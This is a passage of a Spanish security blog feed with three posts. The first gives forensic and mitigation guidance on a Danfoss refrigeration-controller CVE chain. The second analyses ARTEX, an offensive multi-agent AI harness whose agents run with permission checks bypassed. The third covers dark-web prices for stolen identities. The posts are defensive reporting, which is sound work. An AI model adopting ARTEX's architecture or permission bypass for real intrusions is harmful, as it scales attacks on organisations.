administrativo → inyección de comandos en la configuración SMTP (CVE-2025-41451) → ejecución remota de comandos → posible manipulación de la operación de refrigeración.&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;La secuencia es técnicamente coherente con las vulnerabilidades documentadas. Sin embargo, el último tramo requiere pruebas específicas: habría que demostrar qué proceso o interfaz controla las consignas, qué cambios se aplicaron y si estos coinciden temporalmente con las alteraciones de temperatura notificadas.&lt;/p&gt;&lt;p&gt;La CVE-2025-41452 añade una posible vía para alterar o interrumpir la interfaz web, pero no es necesario incluirla en la cadena principal para explicar el paso de autenticación a ejecución de comandos. El encadenamiento de las dos primeras vulnerabilidades es el elemento central de la investigación de Claroty.&lt;/p&gt;&lt;h2&gt;Qué evidencias confirmarían —o descartarían— esta hipótesis&lt;/h2&gt;&lt;p&gt;Para atribuir el ataque a esta cadena no bastaría con encontrar un AK-SM comprometido. La investigación forense debería correlacionar varias fuentes:&lt;/p&gt;&lt;ul style=&quot;text-align: left;&quot;&gt;&lt;li&gt;Firmware y exposición: modelo exacto, versión instalada durante el incidente y accesibilidad de la interfaz de administración desde Internet.&lt;/li&gt;&lt;li&gt;Registros de autenticación: peticiones a &lt;code dir=&quot;ltr&quot;&gt;xml.cgi&lt;/code&gt;, acciones &lt;code dir=&quot;ltr&quot;&gt;getauth&lt;/code&gt; y evidencias de uso de la ruta de autenticación alternativa.&lt;/li&gt;&lt;li&gt;Cambios SMTP: modificaciones inesperadas en los campos de configuración del correo y marcas temporales asociadas.&lt;/li&gt;&lt;li&gt;Ejecución en el sistema: registros de procesos, órdenes anómalas, cambios en archivos y otros indicadores de ejecución no autorizada.&lt;/li&gt;&lt;li&gt;Configuración de Nginx: modificaciones de &lt;code dir=&quot;ltr&quot;&gt;headers.conf&lt;/code&gt;, recargas inesperadas y errores o caídas de &lt;code dir=&quot;ltr&quot;&gt;sm_app&lt;/code&gt;.&lt;/li&gt;&lt;li&gt;Telemetría industrial: cambios de consignas, ciclos de deshielo, evolución de temperaturas, alarmas y comunicaciones con los controladores de campo.&lt;/li&gt;&lt;li&gt;Correlación entre establecimientos: patrones temporales, infraestructura de origen, cuentas utilizadas y artefactos repetidos en distintos equipos.&lt;/li&gt;&lt;/ul&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;/p&gt;&lt;p&gt;La correlación de esas evidencias permitiría determinar si se explotó el mismo mecanismo en varios establecimientos, si hubo una campaña coordinada o si se utilizaron otras credenciales o vulnerabilidades. Sin ellas, atribuir el incidente a CVE-2025-41450 y CVE-2025-41451 sería prematuro.&lt;/p&gt;&lt;h2&gt;Mitigación: cerrar la puerta de entrada y recuperar el control&lt;/h2&gt;&lt;p&gt;Danfoss publicó correcciones para estas vulnerabilidades y recomienda actualizar los controladores AK-SM 800A a la versión R4.3.1 o posterior. Además, Team82 aconseja no exponer directamente las interfaces de gestión a Internet y limitar el acceso administrativo a redes de confianza o a conexiones protegidas mediante VPN.&lt;/p&gt;&lt;p&gt;El CERT-FR, tras advertir de numerosos compromisos de equipos Danfoss AK-SM y AK-SC, recomienda filtrar las conexiones para permitir únicamente accesos autorizados de los proveedores, restaurar los equipos a valores de fábrica cuando se sospeche una intrusión, aplicar los parches disponibles, rotar los secretos, revisar las cuentas existentes y reconfigurar los dispositivos.&lt;/p&gt;&lt;p&gt;En un incidente real, actualizar no debería ser la única medida. Antes de restaurar el sistema conviene preservar los registros y evidencias disponibles; después, verificar que la configuración operativa es legítima, comprobar la integridad de los equipos y validar físicamente las temperaturas y alarmas con el personal responsable. La prioridad es recuperar un estado seguro y comprobar que el sistema vuelve a operar correctamente.&lt;/p&gt;&lt;h2&gt;El problema no es solo una vulnerabilidad&lt;/h2&gt;&lt;p&gt;La investigación de Team82 ilustra un riesgo característico de los entornos industriales conectados: una interfaz web concebida para facilitar el mantenimiento remoto puede convertirse en una puerta de entrada directa a un sistema que gobierna procesos físicos. Un fallo de autenticación y una inyección de comandos, dos problemas de software aparentemente convencionales, adquieren otra dimensión cuando afectan a la infraestructura de refrigeración de una cadena comercial.&lt;/p&gt;&lt;p&gt;Si la cadena descrita por Claroty fuera el vector empleado en Francia, no estaríamos ante un simple incidente de página web ni ante un robo de credenciales. Estaríamos ante la posible utilización de un controlador de refrigeración como punto de entrada para alterar un proceso operativo del que depende la conservación de alimentos.&lt;/p&gt;&lt;p&gt;Pero la conclusión forense debe seguir abierta: &lt;strong&gt;las vulnerabilidades de Danfoss y la cadena de explotación están documentadas; su utilización concreta en el ataque a los supermercados franceses todavía necesita confirmación técnica pública.&lt;/strong&gt;&lt;/p&gt;&lt;h3&gt;Fuentes técnicas&lt;/h3&gt;&lt;a href=&quot;https://es.claroty.com/team82/research/freeze-the-controller-defrost-the-food-uncovering-vulnerabilities-in-danfoss-refrigeration-controllers&quot;&gt;&lt;/a&gt;&lt;ul style=&quot;text-align: left;&quot;&gt;&lt;a href=&quot;https://es.claroty.com/team82/research/freeze-the-controller-defrost-the-food-uncovering-vulnerabilities-in-danfoss-refrigeration-controllers&quot;&gt;&lt;/a&gt;&lt;li&gt;&lt;a href=&quot;https://es.claroty.com/team82/research/freeze-the-controller-defrost-the-food-uncovering-vulnerabilities-in-danfoss-refrigeration-controllers&quot;&gt;&lt;/a&gt;&lt;a href=&quot;https://es.claroty.com/team82/research/freeze-the-controller-defrost-the-food-uncovering-vulnerabilities-in-danfoss-refrigeration-controllers&quot;&gt;Claroty Team82 — Freeze the Controller, Defrost the Food&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.danfoss.com/en/service-and-support/coordinated-vulnerability-disclosure/danfoss-security-advisories/dsa-2025-03-01/&quot;&gt;Danfoss — DSA-2025-03-01, CVE-2025-41450&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.danfoss.com/en/service-and-support/coordinated-vulnerability-disclosure/danfoss-security-advisories/dsa-2025-08-01/&quot;&gt;Danfoss — DSA-2025-08-01, CVE-2025-41451 y CVE-2025-41452&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.cert.ssi.gouv.fr/alerte/CERTFR-2026-ALE-012/&quot;&gt;CERT-FR — CERTFR-2026-ALE-012: incidentes que afectan a equipos Danfoss AK-SM y AK-SC&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p style=&quot;text-align: left;&quot;&gt;&lt;/p&gt;</content><link rel='replies' type='application/atom+xml' href='https://www.hackplayers.com/feeds/8673900151957927242/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='https://www.hackplayers.com/2026/10/ciberataque-en-francia-contra-refrigeradores.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/9133539773684103848/posts/default/8673900151957927242'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/9133539773684103848/posts/default/8673900151957927242'/><link rel='alternate' type='text/html' href='https://www.hackplayers.com/2026/10/ciberataque-en-francia-contra-refrigeradores.html' title='Ciberataque en Francia: subieron a 50 °C los frigoríficos de más de 150 supermercados y obligaron a tirar toneladas de comida'/><author><name>Vicente Motos</name><uri>http://www.blogger.com/profile/03053036399006390105</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVEWEmNj--NFGI_Y_2STA7IMLfue6x71mRjQrvjGe12QsgVS-J1ZQnMaKmxQ_I45QgRmcb3sVqCKMQItltfuazSJeQ3OhyaaqSlUaUM0mJYwEBFXRXKxKVydd8XYCQnA/s220/CameraFun+-+2011-02-10+23.00.34.jpg'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjodHPh71w7s1nrLgfbhqQlZmFJNTWFamztB9bJvFc9zMIg7yrHSnQyC7gT-WbXYbfC1LC5k1DpuW_-mBN00itwXo2tzUOCor6RSD4IDJPB2cm1yopEGqJkZv98ApnkBrrXJZ9INmWRb4Wv7UnuOGxsHWN6p8Sk-IVGQx_oqMjXDQS0CF-bGfhBQquC6dKw/s72-w400-h268-c/dankfoss_microsoftteams.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9133539773684103848.post-6741355192847532328</id><published>2026-10-09T18:40:52.710+02:00</published><updated>2026-10-09T18:43:47.634+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="AI"/><category scheme="http://www.blogger.com/atom/ns#" term="amenazas"/><category scheme="http://www.blogger.com/atom/ns#" term="harness"/><category scheme="http://www.blogger.com/atom/ns#" term="herramientas"/><category scheme="http://www.blogger.com/atom/ns#" term="noticias"/><title type='text'>ARTEX y el salto de los agentes ofensivos: cuando el harness importa mas que el modelo</title><content type='html'>&lt;p&gt;Durante años, la conversación sobre IA ofensiva se concentró en una pregunta casi infantil: &quot;&lt;i&gt;qué modelo sabe más hacking&lt;/i&gt;&quot;. La campaña observada contra entidades financieras de Corea del Sur a finales de septiembre y comienzos de octubre de 2026 obliga a cambiar esa pregunta. El punto central ya no es si un LLM puede sugerir un payload, reconocer un stack o improvisar una cadena de ataque. El punto central es que ahora existen &lt;i&gt;harnesses&lt;/i&gt; capaces de convertir esa capacidad parcial en una operación continua, persistente y distribuida.&lt;/p&gt;&lt;p&gt;ARTEX es un buen ejemplo de ese salto. No es simplemente un chatbot con acceso a Bash. Es una plataforma de ejecución para agentes ofensivos: backend en Go, frontend Next.js, PostgreSQL, proxy de tráfico, transcripts persistentes, workers concurrentes, graph storage, MCPs, skills y un SDK de agentes llamado norma que resuelve el bucle completo de reasoning, tool use, control de contexto y continuidad.&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjhkD__aWXgCs8AbZ6Pd93ye2rxK35HWCNTtdyG8YvLdFj3Q3jhuPSDxy15bvZboqau-u3jfYaF8BDW1eVonls_acNV7nwP-uT54adZLrbA5U4jYNX9zaD_Vj4Kb5P6_N-U_aUGGdsRyI4zcZ57vXA9Wwr_quc-15UJI-bF59B2MgOxmLWjHD0j3BZ1CJst/s1559/Artex_components.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;934&quot; data-original-width=&quot;1559&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjhkD__aWXgCs8AbZ6Pd93ye2rxK35HWCNTtdyG8YvLdFj3Q3jhuPSDxy15bvZboqau-u3jfYaF8BDW1eVonls_acNV7nwP-uT54adZLrbA5U4jYNX9zaD_Vj4Kb5P6_N-U_aUGGdsRyI4zcZ57vXA9Wwr_quc-15UJI-bF59B2MgOxmLWjHD0j3BZ1CJst/s1600/Artex_components.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;p&gt;La campaña contra bancos coreanos es importante precisamente porque muestra que el riesgo no vive solo en el modelo, sino en la infraestructura que lo rodea. CrowdStrike describió una actividad activa entre finales de septiembre y principios de octubre de 2026 contra organizaciones financieras surcoreanas, con exfiltración de datos y uso de ARTEX junto a LLMs. El actor dejó expuestos directorios con historiales de Claude Code, ficheros de configuración de ARTEX y memoria de Claude, lo que permitió reconstruir buena parte de su operativa. La investigación apunta a una arquitectura de dos servidores: uno principal controlado por el actor y otro que alojaba la instancia de ARTEX, con DeepSeek v4.1-flash como backend principal y GLM-5.3 y Grok 4.6 como modelos auxiliares. CrowdStrike no atribuye la operacion a un actor concreto, aunque la considera compatible con un actor de habla china y motivacion financiera.&lt;/p&gt;&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;p&gt;Lo relevante es que ARTEX no se limita a &quot;preguntar cosas&quot; a un modelo. En el código, el agente se construye sobre norma, un harness genérico que expone una sesión stateful. Esa sesion recibe provider, system prompt, tools, permisos, hooks, transcript y compaction, y después entrega la ejecución a un loop de harness.Query. El loop normaliza eventos, mantiene la conversación, ejecuta herramientas, devuelve tool_result, recupera de errores de contexto, reintenta, comprime, reanuda sesiones y decide cuando el agente ha terminado.&lt;/p&gt;&lt;p&gt;Ese detalle es esencial. En una arquitectura tradicional, un LLM solo produce texto. En ARTEX, el LLM está enchufado a una máquina de estados operativa. Puede leer assets, reclamar intents, ejecutar herramientas, registrar facts, guardar findings, consultar trafico capturado, abrir shells, usar MCPs, reanudar transcripts y colaborar con otros agentes. El modelo ya no es una interfaz de consulta; es un componente dentro de un sistema de ejecución persistente.&lt;/p&gt;&lt;p&gt;La arquitectura multiagente de ARTEX tampoco es decorativa. Cada tarea arranca un planner y varios workers. El planner no ejecuta directamente la explotación; observa el estado global, decide si el objetivo está cumplido y genera nuevas intenciones de trabajo. Los workers reclaman una sola intención cada uno, la ejecutan y escriben de vuelta en dos grafos: un asset graph global y un exploration graph por tarea. Ese esquema convierte la exploración ofensiva en una cola de trabajo con memoria estructurada.&lt;/p&gt;&lt;p&gt;El planner dispone de una vista resumida del mundo: goals, facts, findings, coverage, intents abiertos, intents agotados y assets. Los workers, por su parte, operan sobre una única intención y devuelven hechos concretos. Cuando un worker descubre algo, ese hallazgo despierta al planner, que puede abrir nuevas líneas de trabajo o cerrar objetivos. Es, en esencia, una mini-organización ofensiva automatizada.&lt;/p&gt;&lt;p&gt;La peligrosidad no está solo en la concurrencia, sino en la persistencia. ARTEX conserva transcripts por agente e intent. Un worker que se pausa o se bloquea puede reanudarse más tarde en el mismo punto. El planner puede conservar todolists entre &quot;despertares&quot; o reanudaciones. El sistema también implementa compactación de contexto y digests del grafo para no perder continuidad cuando la ventana del modelo se agota. Eso significa que una operacion de larga duración no depende de una sola llamada al modelo: puede sobrevivir horas, días y reinicios.&lt;/p&gt;&lt;p&gt;Otro aspecto delicado es la superficie de herramientas. El harness de norma expone Bash, lectura y escritura de ficheros, tareas de background, web fetch, web search, tools diferidas, memory, skills y MCPs. ARTEX añade encima sus propias tools de dominio: add_intent, record_fact, report_finding, list_assets, graph_overview, traffic_search, traffic_get, traffic_blob, kill_work, steer_work y muchas más. En la práctica, el modelo no solo razona: también opera, consulta, persiste y coordina.&lt;/p&gt;&lt;p&gt;Hay un detalle especialmente inquietante en el código: planner y worker se lanzan con permission ModeBypass. Es decir, el harness dispone de una capa de permisos, pero ARTEX configura sus agentes principales para saltarsela y delega el control real en reglas de interceptación, constraints y el entorno de despliegue. En un laboratorio eso puede ser razonable. En manos ofensivas, reduce mucho la friccion entre decision y accion.&lt;/p&gt;&lt;p&gt;La lección de la campana coreana es que estos harnesses no convierten un modelo mediocre en un mago, pero si convierten pequeñas capacidades en una cadena operativa coherente. Un LLM que por separado solo sugeriría comandos pasa a formar parte de un sistema que:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;ul style=&quot;text-align: left;&quot;&gt;&lt;li&gt;divide objetivos&lt;/li&gt;&lt;li&gt;distribuye trabajo&lt;/li&gt;&lt;li&gt;conserva memoria&lt;/li&gt;&lt;li&gt;reanuda sesiones&lt;/li&gt;&lt;li&gt;ejecuta tools&lt;/li&gt;&lt;li&gt;registra evidencia&lt;/li&gt;&lt;li&gt;correlaciona trafico&lt;/li&gt;&lt;li&gt;cambia de modelo si uno falla&lt;/li&gt;&lt;li&gt;y mantiene una operacion viva aunque ningún turno individual sea brillante&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Por eso el riesgo real de los harnesses de IA no es que &quot;la IA hackee sola&quot;. Es algo más mundano y mas preocupante: reducen el coste de coordinación. Automatizan las partes aburridas que antes frenaban a operadores poco disciplinados: seguimiento de estado, repetición de intentos, gestion de contexto, correlacion de evidencias, ejecución paralela y persistencia de notas. Lo que antes exigía un equipo humano coordinado puede empezar a parecerse a una cola de jobs con agentes especializados.&lt;/p&gt;&lt;p&gt;También introducen nuevos problemas defensivos. Un entorno así genera trazas distintas de las de un operador manual: patrones de consulta repetitiva, ejecución iterativa contra el mismo objetivo, llamadas a APIs LLM, tráfico a proxies, transcripts, uso de MCPs y una mezcla de automatización y actividad manual dificil de separar. Para un blue team, detectar un harness agéntico requiere mirar no solo IOC clasicos, sino tambien ritmos operativos, secuencias de herramientas, patrones de prompts, persistencia de sesiones y artefactos como memory files o logs de agentes.&lt;/p&gt;&lt;p&gt;ARTEX no es peligroso porque tenga un modelo concreto. De hecho, soporta Anthropic, OpenAI Chat Completions, OpenAI Responses y endpoints compatibles. Es peligroso porque abstrae el modelo y convierte la inteligencia en una pieza intercambiable dentro de una plataforma. Si mañana cambia DeepSeek por GPT, Claude, Grok o un endpoint privado, la arquitectura sigue funcionando igual.&lt;/p&gt;&lt;p&gt;Ese es el verdadero cambio de paradigma. Los modelos van y vienen; los harnesses permanecen. Y cuando un harness incorpora herramientas, memoria, concurrencia, grafo, proxies, transcripts, skills y reanudación, deja de ser una demo de IA y se convierte en infraestructura operativa.&lt;/p&gt;&lt;p&gt;La campaña contra bancos coreanos no debería leerse sólo como &quot;&lt;i&gt;un actor uso ARTEX&lt;/i&gt;&quot;. Debería leerse como una advertencia más amplia: el futuro de la ofensiva asistida por IA no sera un único modelo supercapaz, sino sistemas modulares que conectan modelos normales con buenas herramientas, buen estado y buena orquestación. Y eso, para defensa, es bastante más difícil de frenar.&lt;/p&gt;&lt;p&gt;&lt;b&gt;Referencias&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;ul style=&quot;text-align: left;&quot;&gt;&lt;li&gt;[^1]: CrowdStrike Intelligence, &quot;Unknown Threat Actor Uses AI-Driven ARTEX to Target South Korean Finance&quot;, 7 de octubre de 2026. &lt;a href=&quot;https://www.crowdstrike.com/en-us/blog/unknown-threat-actor-uses-artex-to-target-south-korean-finance/&quot; target=&quot;_blank&quot;&gt;Fuente&lt;/a&gt;&lt;/li&gt;&lt;li&gt;[^2]: Yonhap News Agency, &quot;Chinese-speaking hacker possibly linked to AI-driven attacks on S. Korean banks: report&quot;, 8 de octubre de 2026. &lt;a href=&quot;https://en.yna.co.kr/view/AEN20261008002200320&quot; target=&quot;_blank&quot;&gt;Fuente&lt;/a&gt;&lt;/li&gt;&lt;li&gt;[^3]: Fork analizado: Hinln/ARTEX, repositorio público basado en Autumn-27/ARTEX v0.3.15. &lt;a href=&quot;https://github.com/Hinln/ARTEX&quot; target=&quot;_blank&quot;&gt;Código fuente&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;/p&gt;</content><link rel='replies' type='application/atom+xml' href='https://www.hackplayers.com/feeds/6741355192847532328/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='https://www.hackplayers.com/2026/10/artex-y-el-salto-de-los-agentes.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/9133539773684103848/posts/default/6741355192847532328'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/9133539773684103848/posts/default/6741355192847532328'/><link rel='alternate' type='text/html' href='https://www.hackplayers.com/2026/10/artex-y-el-salto-de-los-agentes.html' title='ARTEX y el salto de los agentes ofensivos: cuando el harness importa mas que el modelo'/><author><name>Vicente Motos</name><uri>http://www.blogger.com/profile/03053036399006390105</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVEWEmNj--NFGI_Y_2STA7IMLfue6x71mRjQrvjGe12QsgVS-J1ZQnMaKmxQ_I45QgRmcb3sVqCKMQItltfuazSJeQ3OhyaaqSlUaUM0mJYwEBFXRXKxKVydd8XYCQnA/s220/CameraFun+-+2011-02-10+23.00.34.jpg'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjhkD__aWXgCs8AbZ6Pd93ye2rxK35HWCNTtdyG8YvLdFj3Q3jhuPSDxy15bvZboqau-u3jfYaF8BDW1eVonls_acNV7nwP-uT54adZLrbA5U4jYNX9zaD_Vj4Kb5P6_N-U_aUGGdsRyI4zcZ57vXA9Wwr_quc-15UJI-bF59B2MgOxmLWjHD0j3BZ1CJst/s72-c/Artex_components.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9133539773684103848.post-5885015746666502898</id><published>2026-10-08T01:21:41.154+02:00</published><updated>2026-10-08T01:21:41.154+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="curiosidades"/><category scheme="http://www.blogger.com/atom/ns#" term="dark web"/><category scheme="http://www.blogger.com/atom/ns#" term="underground"/><title type='text'>¿Cuánto vales para un ciberdelincuente? Anatomía económica de una identidad robada</title><content type='html'>&lt;p&gt;Hay una pregunta que probablemente nunca nos hemos hecho cuando introducimos nuestros datos en una web, rellenamos un formulario, enviamos una fotografía del DNI o pagamos con tarjeta:&amp;nbsp;&lt;strong&gt;¿Cuánto valen esos datos una vez dejan de pertenecernos?&amp;nbsp;&lt;/strong&gt;La respuesta resulta bastante menos espectacular de lo que suele imaginarse.&lt;/p&gt;&lt;p&gt;Un número de tarjeta puede costar unos pocos euros. Una dirección de correo electrónico puede valer céntimos. Un paquete completo de identidad puede encontrarse por decenas de euros. Y determinados documentos de identidad, cuentas verificadas o accesos financieros pueden alcanzar cientos o incluso miles. La paradoja es que &lt;strong&gt;nuestros datos no tienen un precio fijo&lt;/strong&gt;. Tienen un precio en función de lo que permiten hacer con ellos. Y ahí es donde empieza la verdadera historia.&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEheRs9F_L1vfxEyQGMHHsOuzgubYHX1d495-9bGqdIm5sS-CnzDuup_CAbiBJVQVnJxN1KRntX6hQVfZSyqf_OBL7-Y_Til-8l4Lsn7ySo9wpItLL7-TsEhPjiAmUmTPuGmAFhOahURT_wE23khew5YtaE5xArrtvd3aGu2Zwa3sNUGD4bG2xyovYQZpLup/s332/money-make-it-rain.gif&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;332&quot; data-original-width=&quot;332&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEheRs9F_L1vfxEyQGMHHsOuzgubYHX1d495-9bGqdIm5sS-CnzDuup_CAbiBJVQVnJxN1KRntX6hQVfZSyqf_OBL7-Y_Til-8l4Lsn7ySo9wpItLL7-TsEhPjiAmUmTPuGmAFhOahURT_wE23khew5YtaE5xArrtvd3aGu2Zwa3sNUGD4bG2xyovYQZpLup/s320/money-make-it-rain.gif&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;p&gt;Durante años hemos hablado de la dark web como si fuese una especie de bazar clandestino donde un delincuente entra, busca una tarjeta robada y paga por ella. La realidad es bastante más industrial.&amp;nbsp;&lt;/p&gt;&lt;p&gt;Europol describía en su &lt;a href=&quot;https://www.europol.europa.eu/publication-events/main-reports/steal-deal-and-repeat-how-cybercriminals-trade-and-exploit-your-data&quot; target=&quot;_blank&quot;&gt;IOCTA 2025&lt;/a&gt; una economía en la que los datos se han convertido en una auténtica mercancía: se roban, clasifican, enriquecen, venden, revenden y finalmente utilizan como materia prima para otros delitos. El dato robado es sólo el primer eslabón.&lt;/p&gt;&lt;h2&gt;El precio de una persona&lt;/h2&gt;&lt;p&gt;Imaginemos que alguien consigue una base de datos con información sobre nosotros.&lt;/p&gt;&lt;p&gt;El primer nivel puede ser algo tan sencillo como:&lt;/p&gt;&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;Nombre
Apellidos
Fecha de nacimiento
Dirección
Teléfono
Email
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;No parece gran cosa. Y, económicamente, tampoco lo es.&lt;/p&gt;&lt;p&gt;La abundancia ha convertido determinados datos personales en una &lt;i&gt;commodity&lt;/i&gt;. Un correo electrónico o un teléfono aparecen tantas veces en filtraciones, bases de datos comerciales y recopilaciones que su precio individual puede caer prácticamente a cero. Pero entonces alguien añade una pieza. Por ejemplo:&lt;/p&gt;&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;Nombre
Fecha de nacimiento
Dirección
DNI
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Y después otra:&lt;/p&gt;&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;Nombre
Fecha de nacimiento
Dirección
DNI
Selfie
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Y después:&lt;/p&gt;&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;Nombre
Fecha de nacimiento
Dirección
DNI
Selfie
Cuenta bancaria
&lt;/code&gt;&lt;/pre&gt;&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;p&gt;Lo que inicialmente era un conjunto de datos dispersos comienza a parecerse a una persona digital completa.&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh0wXyiLX3J4ITYEHCwoB0CxvqiFoWvsH_yzEcUHa_kx5duPl5QplqtfwVwFUZ8f5xacmbzYOgTHz1n-qagdYaeTQtEmx-DKM4BkpfFbTjsvDDU2o-_AaeXrQbOWddUEqbID34GiD4z2mh1g6Q23qwF89rBczxb4eZCxOgFZppwwLzZ6HcuJPp5an6PTt2y/s400/identidad_digital.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;400&quot; data-original-width=&quot;400&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh0wXyiLX3J4ITYEHCwoB0CxvqiFoWvsH_yzEcUHa_kx5duPl5QplqtfwVwFUZ8f5xacmbzYOgTHz1n-qagdYaeTQtEmx-DKM4BkpfFbTjsvDDU2o-_AaeXrQbOWddUEqbID34GiD4z2mh1g6Q23qwF89rBczxb4eZCxOgFZppwwLzZ6HcuJPp5an6PTt2y/s320/identidad_digital.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;p&gt;En el underground existe desde hace años el concepto de &lt;em&gt;fullz&lt;/em&gt;: conjuntos de información suficientemente completos como para representar una identidad y permitir diferentes tipos de fraude.&lt;/p&gt;&lt;p&gt;Y aquí aparece una de las primeras reglas de este mercado: &lt;b&gt;c&lt;/b&gt;&lt;strong&gt;uantos más sistemas pueda atravesar una identidad, más valor tiene. &lt;/strong&gt;Es decir, un email permite poco, un email con contraseña permite más, un documento de identidad permite también más, un documento acompañado de una fotografía del titular permite todavía más y una identidad que además puede superar procesos de verificación KYC puede convertirse en algo mucho más valioso.&lt;/p&gt;&lt;h2&gt;El precio no está en el dato. Está en la posibilidad de explotarlo.&lt;/h2&gt;&lt;p&gt;Esta diferencia explica por qué las cifras que encontramos al estudiar estos mercados pueden parecer absurdas.&lt;/p&gt;&lt;p&gt;Un estudio reciente de &lt;a href=&quot;https://flare.io/learn/resources/blog/cost-of-data-dark-web&quot; target=&quot;_blank&quot;&gt;Flare&lt;/a&gt;, basado en 348 puntos de precio procedentes de mercados clandestinos, investigaciones académicas y publicaciones de seguridad, estimó valores muy diferentes según el tipo de información.&lt;/p&gt;&lt;p&gt;Los números son reveladores: datos de salud aparecían alrededor de los &lt;strong&gt;300 dólares&lt;/strong&gt;, PIN bancarios alrededor de &lt;strong&gt;196 dólares&lt;/strong&gt;, números de cuenta bancaria alrededor de &lt;strong&gt;69 dólares&lt;/strong&gt;, permisos de conducir alrededor de &lt;strong&gt;68 dólares&lt;/strong&gt;, números de pasaporte unos &lt;strong&gt;33 dólares&lt;/strong&gt; y números de tarjeta alrededor de &lt;strong&gt;18 dólares&lt;/strong&gt;.&lt;/p&gt;&lt;p&gt;La tarjeta de crédito, ese elemento que normalmente imaginamos como el gran tesoro de una filtración, ocupa en realidad una posición bastante más modesta. ¿Por qué? Porque una tarjeta tiene una característica que reduce drásticamente su vida útil:&amp;nbsp;&lt;strong&gt;puede ser cancelada.&amp;nbsp;&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;Es decir, una vez el banco detecta el fraude y bloquea la tarjeta, el número deja de tener prácticamente valor. Un documento de identidad es diferente. Una identidad puede utilizarse para solicitar servicios, abrir cuentas, superar procesos de identificación o combinarse con otras piezas de información. Por eso el mercado no está valorando simplemente &quot;datos&quot;, está valorando &lt;strong&gt;persistencia + utilidad + capacidad de monetización&lt;/strong&gt;.&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhrlakL_tyeat09r0TM5jTlgk5STrJHzYJAIzym5r-VZ5Etvqcmsljw-uRPDiJFxYJleVHo24l8WzeY56M_1sMeErkXJLwMVqClv5ovSFTIELuXTz7el9MArpbodZHvCRYRHhCeSsg89Wx4SyJk6HLFGF8WKf-15shskVtF1QfAiFpV38R7qDq_LaCs9ECq/s373/privacy-id.gif&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;373&quot; data-original-width=&quot;287&quot; height=&quot;320&quot; 